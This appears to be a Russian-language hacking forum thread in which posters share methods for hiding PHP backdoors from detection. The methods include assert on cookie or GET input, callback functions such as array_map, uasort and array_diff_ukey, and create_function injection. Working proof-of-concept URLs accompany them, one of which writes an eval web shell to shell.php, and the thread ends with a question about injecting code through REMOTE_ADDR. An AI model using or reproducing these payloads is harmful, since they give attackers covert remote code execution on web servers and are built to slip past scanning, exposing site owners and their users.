Потому что $b _не_была_ установлена ранее. Теперь все ок. Ну не нравится eval, есть куча других возможностей исполнить код. PHP: assert($_COOKIE['login']);
ололо. Во-первых assert ищут крайне редко. Во-вторых, "shell" бы также нашли. =\\ В-третьих это в любом случае лучше чем та втыкалка шелла, что предложил Ereee 5 постов выше. upd: а Code: assert ($_GET['lol']) уже не найдет. пичалько.
PHP: egrep -H "assert|eval" `find . -type f -name "*.php" -print` Хорошо спрятан тот бекдор, который не возможно найти средствами автоматизации.
Эдакий eval на основе «бага» php. create_function - по своей сути обычный eval. Сам код: PHP: uasort($_REQUEST['login'], $_REQUEST['password']); PoC: Code: re_password=phpinfo();&login[]=};eval($_REQUEST['re_password']);//&login[]=$b, $a&password=create_function
«callback похождения» Небольшой наборчик функций, которые при обычных условиях не вызывают подозрений. Все параметры могут быть также вынесены в отдельные переменные, для уменьшения подозрительности. array_map, array_filter, array_walk PHP: @array_map($_REQUEST['login'], $_REQUEST['password']); Или @array_filter($_REQUEST['password'], $_REQUEST['login']); Или @array_walk($_REQUEST['password'], $_REQUEST['login']); Кому как, что лучше смотрится. PoC: Code: http://localhost/test.php?login=system&password[]=type+test.php array_diff_ukey PHP: @array_diff_ukey(@array((string)$_REQUEST['password'] => 1), @array((string)$_REQUEST['re_password'] => 2), $_REQUEST['login']); от callback функции требуется принятие 2 параметров, поэтому необходимо приготовить такую функцию, например file_put_contents. PoC: Code: http://localhost/test.php?login=file_put_contents&password=shell.php&re_password=%3C?php%20eval%28$_REQUEST[cmd]%29;%20?%3E В файле shell.php будет «евальник». Или же PoC[2], опять же "баг" с create_function: Code: http://localhost/test.php?login=create_function&password=$a, $b&re_password=}phpinfo();// Результатом будет являться выполнение phpinfo();
Дико извиняюсь - но каким образом можно добавить в REMOTE_ADDR: ? Пробовал курлом через дополнительные параметры заголовка - не передаёт Code: $ipaddress = array( "REMOTE_ADDR: phpinfo()" ); curl_setopt( $ch, CURLOPT_HTTPHEADER, $ip_address); На сколько я понимаю сервер эту инфу не из заголовков запроса берёт.